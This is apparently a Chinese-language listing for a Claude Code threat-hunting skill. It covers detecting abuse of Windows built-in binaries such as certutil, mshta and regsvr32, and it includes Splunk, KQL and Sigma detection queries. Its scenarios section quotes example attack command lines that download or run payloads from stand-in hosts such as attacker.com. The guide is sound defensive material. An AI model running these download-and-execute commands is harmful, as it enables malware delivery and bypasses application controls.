mcpField
H
hunting-for-lolbins-execution-in-endpoint-logs

hunting-for-lolbins-execution-in-endpoint-logs

github.com/mukul975安全35.2k51 次安装8 周前更新
代码仓库

关于 hunting-for-lolbins-execution-in-endpoint-logs

面向安全分析人员的狩猎技能,用于从终端日志调查 Windows 内置二进制文件的滥用。它提供流程,检查异常参数、进程关系、执行路径及相关网络活动。

主要功能

  1. 01LOLBins 清单与使用基线
  2. 02可疑命令行狩猎
  3. 03父子进程关系分析
  4. 04异常执行路径检查
  5. 05关联网络活动
  6. 06调查发现优先级排序

适用场景

  1. 01调查可疑的 certutil 或 mshta 告警
  2. 02狩猎基于 LOLBin 的攻击活动
  3. 03测试终端检测覆盖情况

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill hunting-for-lolbins-execution-in-endpoint-logs

安装后在 Claude Code 中输入/hunting-for-lolbins-execution-in-endpoint-logs确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

在终端日志中狩猎 LOLBin 执行

何时使用

  • 在狩猎滥用内置 Windows 二进制文件的非文件攻击技术时
  • 在威胁情报表明有针对您所在行业的基于 LOLBin 的攻击活动后
  • 在调查针对 certutil、mshta、rundll32 或 regsvr32 可疑使用的告警时
  • 在紫队演练测试防御规避技术检测能力期间
  • 在评估针对 MITRE ATT&CK T1218 子技术的终端检测覆盖范围时

前提条件

  • 启用完整命令行日志记录的 Sysmon 事件 ID 1(进程创建)
  • 启用命令行审核的 Windows 安全事件 ID 4688
  • 具备父子进程关系的 EDR 遥测数据
  • 用于查询和关联的 SIEM 平台(Splunk、Elastic、Microsoft Sentinel)
  • 用于已知滥用模式的 LOLBAS 项目参考(lolbas-project.github.io)

工作流

  1. 构建 LOLBin 监视列表:从 LOLBAS 项目编制一份高风险 LOLBin 列表,优先考虑:certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe 和 powershell.exe。
  2. 建立正常使用基线:通过分析每个二进制文件在 30 天内的命令行参数、父进程和用户上下文,确定环境中正常 LOLBin 使用的样貌。
  3. 狩猎异常参数:搜索以异常命令行参数执行的 LOLBin,这些参数表明存在滥用——certutil 带 -urlcache -decode -encode、mshta 带 URL 参数、rundll32 从临时/用户目录加载 DLL、regsvr32 带 /s /n /u /i:URL。
  4. 分析父子关系:识别生成 LOLBin 的意外父进程——例如,outlook.exe 生成 mshta.exe,或 winword.exe 生成 certutil.exe,表明存在武器化文档投递。
  5. 检查从异常路径执行:从非标准路径执行的 LOLBin(放置在 %TEMP%、用户配置文件目录中的副本)表明存在重命名二进制文件滥用。
  6. 与网络活动关联:将 LOLBin 执行映射到出站网络连接(Sysmon 事件 ID 3),以识别下载载体和 C2 回连。
  7. 评分与优先级排序:按异常严重性对发现进行排序,综合可疑参数、异常父进程、非标准路径和网络活动指标。

关键概念

概念描述
T1218系统二进制代理执行
T1218.001编译的 HTML 文件(mshta.exe)
T1218.003CMSTP
T1218.005Mshta
T1218.010Regsvr32(Squiblydoo)
T1218.011Rundll32
T1127.001MSBuild
T1197BITS 任务(bitsadmin.exe)
T1140反混淆/解码文件(certutil.exe)
T1059.001PowerShell
T1059.005Visual Basic(wscript/cscript)
LOLBASLiving Off the Land 二进制文件、脚本和库项目

工具与系统

工具用途
Sysmon带命令行和哈希日志记录的进程创建
CrowdStrike Falcon具备 LOLBin 检测分析能力的 EDR
Microsoft Defender for Endpoint内置 LOLBin 滥用检测
Splunk基于 SPL 的进程狩猎和异常检测
Elastic Security预构建的 LOLBin 检测规则
LOLBAS 项目LOLBin 滥用技术的参考数据库
Sigma 规则用于 LOLBin 滥用的社区检测规则

检测查询

Splunk——高风险 LOLBin 执行
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
    match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
    match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
    match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
    match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
    match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
    match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
    match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
    1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
KQL——Microsoft Sentinel LOLBin 狩猎
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma 规则——可疑 LOLBin 命令行
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
            - '-encode'
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'javascript:'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains|all:
            - '/s'
            - '/i:'
    condition: 1 of selection_*
level: high
tags:
    - attack.defense_evasion
    - attack.t1218

常见场景

  1. Certutil 下载木马: certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe 用于绕过代理过滤下载恶意软件。
  2. Mshta HTA 执行: mshta.exe http://attacker.com/malicious.hta 执行包含 VBScript 或 JScript 有效载荷的远程 HTA 文件。
  3. Regsvr32 Squiblydoo: regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll 执行远程 SCT 文件以绕过应用程序白名单。
  4. Rundll32 DLL 代理: rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint 通过合法二进制文件执行攻击者 DLL。
  5. MSBuild 内联任务: msbuild.exe C:\Temp\malicious.csproj 执行嵌入在项目文件中的 C# 代码以绕过应用程序控制。
  6. BITS 传输: bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe 使用 BITS 服务进行隐蔽文件下载。
  7. WMIC XSL 执行: wmic process list /format:evil.xsl 从 XSL 样式表执行 JScript/VBScript。

输出格式

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]

评论

支持 Markdown